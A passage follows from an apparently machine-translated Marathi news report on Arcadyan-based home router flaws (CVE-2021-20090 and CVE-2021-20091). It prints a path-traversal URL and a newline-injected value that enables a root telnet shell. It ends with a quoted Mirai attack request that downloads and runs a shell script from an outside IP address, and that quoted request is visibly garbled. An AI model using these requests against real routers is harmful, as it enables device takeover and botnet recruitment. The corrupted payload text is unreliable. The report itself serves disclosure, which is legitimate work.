17 उत्पादकांना प्रभावित करणारी होम राउटरमधील असुरक्षा

होम राउटरवर नेटवर्कवर एक मोठा हल्ला नोंदवला गेला आहे ज्यांचे फर्मवेअर आर्केडियन कंपनीकडून HTTP सर्व्हर अंमलबजावणी वापरते. डिव्हाइसेसवर नियंत्रण मिळविण्यासाठी, दोन भेद्यतेचे संयोजन वापरले जाते जे मूळ अधिकारांसह अनियंत्रित कोडची दूरस्थ अंमलबजावणी करण्यास अनुमती देते. समस्या Arcadyan, ASUS आणि Buffalo कडील ADSL राउटरच्या विस्तृत श्रेणीवर, तसेच Beeline ब्रँड अंतर्गत पुरवलेल्या उपकरणांवर (समस्या स्मार्ट बॉक्स फ्लॅशमध्ये पुष्टी केली आहे), ड्यूश टेलिकॉम, ऑरेंज, O2, टेलस, व्हेरिझॉन, व्होडाफोन आणि इतर दूरसंचार ऑपरेटर. Arcadyan फर्मवेअरमध्ये ही समस्या 10 वर्षांहून अधिक काळ उपस्थित आहे आणि या काळात 20 भिन्न उत्पादकांकडून कमीतकमी 17 डिव्हाइस मॉडेल्सवर स्थलांतरित करण्यात यश आले आहे.

पहिली असुरक्षा, CVE-2021-20090, प्रमाणीकरणाशिवाय कोणत्याही वेब इंटरफेस स्क्रिप्टमध्ये प्रवेश करणे शक्य करते. असुरक्षिततेचे सार हे आहे की वेब इंटरफेसमध्ये, काही निर्देशिका ज्याद्वारे प्रतिमा, CSS फायली आणि JavaScript स्क्रिप्ट पाठविल्या जातात त्या प्रमाणीकरणाशिवाय प्रवेशयोग्य आहेत. या प्रकरणात, ज्या निर्देशिकांना प्रमाणीकरणाशिवाय प्रवेश करण्याची परवानगी आहे ते प्रारंभिक मुखवटा वापरून तपासले जातात. पॅरेंट डिरेक्टरीमध्ये जाण्यासाठी पाथमध्ये “../” वर्ण निर्दिष्ट करणे फर्मवेअरद्वारे अवरोधित केले आहे, परंतु “..%2f” संयोजन वापरणे वगळले आहे. अशा प्रकारे, “http://192.168.1.1/images/..%2findex.htm” सारख्या विनंत्या पाठवताना संरक्षित पृष्ठे उघडणे शक्य आहे.

दुसरी भेद्यता, CVE-2021-20091, प्रमाणीकृत वापरकर्त्याला app_abstract.cgi स्क्रिप्टवर विशेष स्वरूपित पॅरामीटर्स पाठवून डिव्हाइसच्या सिस्टम सेटिंग्जमध्ये बदल करण्याची परवानगी देते, जे पॅरामीटर्समध्ये नवीन रेखा वर्णाची उपस्थिती तपासत नाही. . उदाहरणार्थ, पिंग ऑपरेशन करत असताना, आक्रमणकर्ता फील्डमध्ये “192.168.1.2%0AARC_SYS_TelnetdEnable=1” मूल्य निर्दिष्ट करू शकतो ज्यामध्ये IP पत्ता तपासला जातो आणि सेटिंग्ज फाइल /tmp/etc/config/ तयार करताना स्क्रिप्ट .glbcfg, त्यात “AARC_SYS_TelnetdEnable=1” ही ओळ लिहेल, जी टेलनेट सर्व्हर सक्रिय करते, जे रूट अधिकारांसह अनिर्बंध कमांड शेल प्रवेश प्रदान करते. त्याचप्रमाणे, AARC_SYS पॅरामीटर सेट करून, तुम्ही सिस्टमवर कोणताही कोड कार्यान्वित करू शकता. पहिली भेद्यता "/images/..%2fapply_abstract.cgi" म्हणून प्रवेश करून प्रमाणीकरणाशिवाय समस्याप्रधान स्क्रिप्ट चालवणे शक्य करते.

भेद्यतेचा फायदा घेण्यासाठी, आक्रमणकर्त्याने नेटवर्क पोर्टवर विनंती पाठविण्यास सक्षम असणे आवश्यक आहे ज्यावर वेब इंटरफेस चालू आहे. हल्ल्याच्या प्रसाराच्या गतिशीलतेचा आधार घेत, समर्थन सेवेद्वारे समस्यांचे निदान सुलभ करण्यासाठी अनेक ऑपरेटर बाह्य नेटवर्कवरून त्यांच्या डिव्हाइसेसवर प्रवेश सोडतात. इंटरफेसमध्ये प्रवेश केवळ अंतर्गत नेटवर्कपुरताच मर्यादित असल्यास, "DNS रीबाइंडिंग" तंत्राचा वापर करून बाह्य नेटवर्कवरून हल्ला केला जाऊ शकतो. Mirai botnet ला राउटर कनेक्ट करण्यासाठी असुरक्षा आधीच सक्रियपणे वापरल्या जात आहेत: POST /images/..%2fapply_abstract.cgi HTTP/1.1 कनेक्शन: बंद वापरकर्ता-एजंट: Dark action=start_ping&submit_button=ping.html& action_params=blink_time%3D5&ARC_address=212.192.241.7. 0%1A ARC_SYS_TelnetdEnable=0& %212.192.241.72AARC_SYS_=cd+/tmp; wget+http://212.192.241.72/lolol.sh; curl+-O+http://777/lolol.sh; chmod+0+lolol.sh; sh+lolol.sh&ARC_ping_status=4&TMP_Ping_Type=XNUMX

स्त्रोत: opennet.ru